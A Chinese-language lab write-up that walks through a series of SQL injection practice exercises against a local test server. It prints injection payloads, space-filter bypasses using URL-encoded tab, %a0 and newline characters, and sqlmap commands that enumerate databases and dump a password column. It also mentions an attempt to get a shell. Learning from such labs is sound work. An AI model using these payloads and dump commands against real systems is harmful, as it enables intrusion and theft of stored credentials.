sql injection 1:
图一这道题木一看就知道是未对root输入进行净化或者过滤,因此直接需要闭合标签再注释就好了,如下
name=root' or 1=1 -- -,其中-- -是mysql的注释符号。如图:
图二还有一点注意的地方在于我们写符号注意不能开中文输入法....
sqlmap实例如下:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dbs --banner
--dbs是列举数据库, --banner是直接获取数据库banner信息。如下图:
图三这里可以继续深入进去,学一下sqlmap用法,例如:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --current-user获取当前用户名,--current-db是获取当前数据库。
图四sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --table -D exercises获取数据库表名。
图五sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --column -T users获取列名
图六然后就是脱裤了,直接上 sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dump -C passwd -T users -D exercises 效果如下:
图七然后发现原来sqlmap也能getshell,具体命令如下:
图七 图八当然最后没成功,因为路径不对,他的路径不是默认路径,需要用字典先去暴。。。
sql injection 2:
这道题目代码如下:
图九本题目主要是针对url中出现的空格做正则表达式匹配,我们主要是要绕过这个限制,可以通过url编码tab键来进行绕过,tab的URL编码是%09,因此可以构造payload如下:
http://172.18.139.118/sqli/example2.php?name=root'%09or%091=1%09--%09-,效果如下:
图十此外,对这种情况可以直接由sqlmap解决:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --tamper=space2comment
图十一sql injection3:
这道题目主要是对所有空格以及和空格相关的符号都去掉,例如tab键等等,源代码如下所示:
图十二遇到这种情况可以采用所谓的url编码解决,我用%a0来代替空格,构造的payload如下所示:
http://172.18.238.200/sqli/example3.php?name=root%27%a0or%a01=1%a0--%a0-,结果如下所示:
图十三sql injection4:
这道题目主要对特殊字符进行转义,包括\x00, \, \n, \r, ' ,"等
图十四但是这道题目我觉得出的不好地方在于。。。注入点是数字型参数,不需要用到这些字符。。,直接构造payload:http://172.18.238.200/sqli/example4.php?id=2%20or%201=1就ok了,如图
图十五sql injection5:
第五题做法同第四,没啥区别。。。。
sql injection6:
同第五.....
sql injection7:
这道题目看了源码就是知道过滤了空格相关的字符以及对数字进行正则表达式匹配,上图:
图十六因此我们根据前面的方法构造payload=http://172.18.238.200/sqli/example7.php?id=2%0aor%0a1=1
即是所有空格都用%0a来代替,直接就绕过了。
图十七这道题木在sqlmap上遇到点问题,我使用sqlmap -u "http://172.18.238.200/sqli/example7.php?id=2" --dbs 的时候发现显示其为静态参数,如下:
图十八但是我在id=2后面加上%0a再跑sqlmap就可以了,后来查到这个叫做sql换行污染,通过用换行%0a代替空格,再加上其他字符什么的(也可以不要)直接就行了。
图十九sql injection8:
这道题目再待参考。。。
sql injection9:
这道题目是基于布尔值的盲注,直接用if语句,如下:
图二十一sqlmap直接跑就行:
图二十二 图二十三拖了个库。。。
网友评论